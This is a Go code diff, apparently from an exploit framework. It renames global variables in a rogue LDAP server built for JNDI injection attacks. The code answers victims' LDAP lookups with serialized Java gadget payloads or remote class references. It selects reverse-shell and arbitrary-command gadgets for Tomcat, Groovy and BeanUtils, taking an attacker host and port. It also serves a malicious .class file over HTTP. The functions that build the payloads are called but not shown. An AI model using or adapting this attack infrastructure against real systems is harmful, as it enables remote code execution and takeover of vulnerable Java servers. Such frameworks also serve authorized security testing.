@@ -41,13 +41,13 @@ const (
4141)
4242
4343// a dirty way to pass the user's desired gadget to `handleBind`.
44- var globalSerializedPayload string
44+ var GlobalSerializedPayload string
4545
4646// a dirty way to pass the user's desired name to `handleBind`.
47- var globalName string
47+ var GlobalName string
4848
4949// if the class is loaded from a secondary http server, this will be set.
50- var globalHTTPServer string
50+ var GlobalHTTPServer string
5151
5252// automatically accept.
5353func handleBind (w ldap.ResponseWriter , _ * ldap.Message ) {
@@ -59,29 +59,29 @@ func handleBind(w ldap.ResponseWriter, _ *ldap.Message) {
5959// Accept the incoming request. Verify it is asking for the correct endpoint
6060// and then send the user's requested gadget'.
6161func handleSearch (writer ldap.ResponseWriter , msg * ldap.Message ) {
62- if len (globalSerializedPayload ) == 0 {
62+ if len (GlobalSerializedPayload ) == 0 {
6363 output .PrintFrameworkError ("A serialized payload was never configured!" )
6464 }
6565
6666 req := msg .GetSearchRequest ()
6767 dname := string (req .BaseObject ())
6868
69- if dname != globalName {
70- output .PrintfFrameworkError ("Received an unexpected request: %s != %s\n " , dname , globalName )
69+ if dname != GlobalName {
70+ output .PrintfFrameworkError ("Received an unexpected request: %s != %s\n " , dname , GlobalName )
7171
7272 return
7373 }
7474
7575 // send search result
7676 res := ldap .NewSearchResultEntry (dname )
77- if strings .HasPrefix (globalSerializedPayload , "\xca \xfe \xba \xbe " ) {
77+ if strings .HasPrefix (GlobalSerializedPayload , "\xca \xfe \xba \xbe " ) {
7878 res .AddAttribute ("javaClassName" , "foo" )
79- res .AddAttribute ("javaCodeBase" , message .AttributeValue (globalHTTPServer ))
79+ res .AddAttribute ("javaCodeBase" , message .AttributeValue (GlobalHTTPServer ))
8080 res .AddAttribute ("objectClass" , "javaNamingReference" )
81- res .AddAttribute ("javaFactory" , message .AttributeValue (globalName ))
81+ res .AddAttribute ("javaFactory" , message .AttributeValue (GlobalName ))
8282 } else {
8383 res .AddAttribute ("javaClassName" , "java.lang.String" )
84- res .AddAttribute ("javaSerializedData" , message .AttributeValue (globalSerializedPayload ))
84+ res .AddAttribute ("javaSerializedData" , message .AttributeValue (GlobalSerializedPayload ))
8585 }
8686 writer .Write (res )
8787
@@ -106,21 +106,21 @@ func CreateLDAPServer(name string) *ldap.Server {
106106 server .Handle (routes )
107107
108108 // set a name so that we aren't tossing exploits at just anyone
109- globalName = name
109+ GlobalName = name
110110
111111 return server
112112}
113113
114114func SetLDAPGadget (gadget GadgetName , binary string , lhost string , lport int , command string ) {
115115 switch gadget {
116116 case TomcatNashornReverseShell :
117- globalSerializedPayload = createTomcatNashornReverseShell (binary , lhost , lport )
117+ GlobalSerializedPayload = createTomcatNashornReverseShell (binary , lhost , lport )
118118 case TomcatGenericBash :
119- globalSerializedPayload = createTomcatGenericGadget (command )
119+ GlobalSerializedPayload = createTomcatGenericGadget (command )
120120 case GroovyGenericBash :
121- globalSerializedPayload = createGroovyGenericBash (command )
121+ GlobalSerializedPayload = createGroovyGenericBash (command )
122122 case BeanUtils194GenericBash :
123- globalSerializedPayload = createBeanUtils194GenericBash (command )
123+ GlobalSerializedPayload = createBeanUtils194GenericBash (command )
124124 case HTTPReverseShell :
125125 fallthrough
126126 default :
@@ -131,7 +131,7 @@ func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, co
131131func SetLDAPHTTPClass (gadget GadgetName , lhost string , lport int , httpHost string , httpPort int ) {
132132 switch gadget {
133133 case HTTPReverseShell :
134- globalSerializedPayload = createHTTPReverseShell (lhost , lport , globalName )
134+ GlobalSerializedPayload = createHTTPReverseShell (lhost , lport , GlobalName )
135135 case TomcatNashornReverseShell :
136136 fallthrough
137137 case TomcatGenericBash :
@@ -146,9 +146,9 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin
146146 return
147147 }
148148
149- globalHTTPServer = "http://" + httpHost + ":" + strconv .Itoa (httpPort ) + "/"
150- http .HandleFunc ("/" + globalName + ".class" , func (w http.ResponseWriter , _ * http.Request ) {
151- fmt .Fprint (w , globalSerializedPayload )
149+ GlobalHTTPServer = "http://" + httpHost + ":" + strconv .Itoa (httpPort ) + "/"
150+ http .HandleFunc ("/" + GlobalName + ".class" , func (w http.ResponseWriter , _ * http.Request ) {
151+ fmt .Fprint (w , GlobalSerializedPayload )
152152 })
153153
154154 output .PrintfFrameworkStatus ("Starting HTTP Server on %s:%d" , httpHost , httpPort )
0 commit comments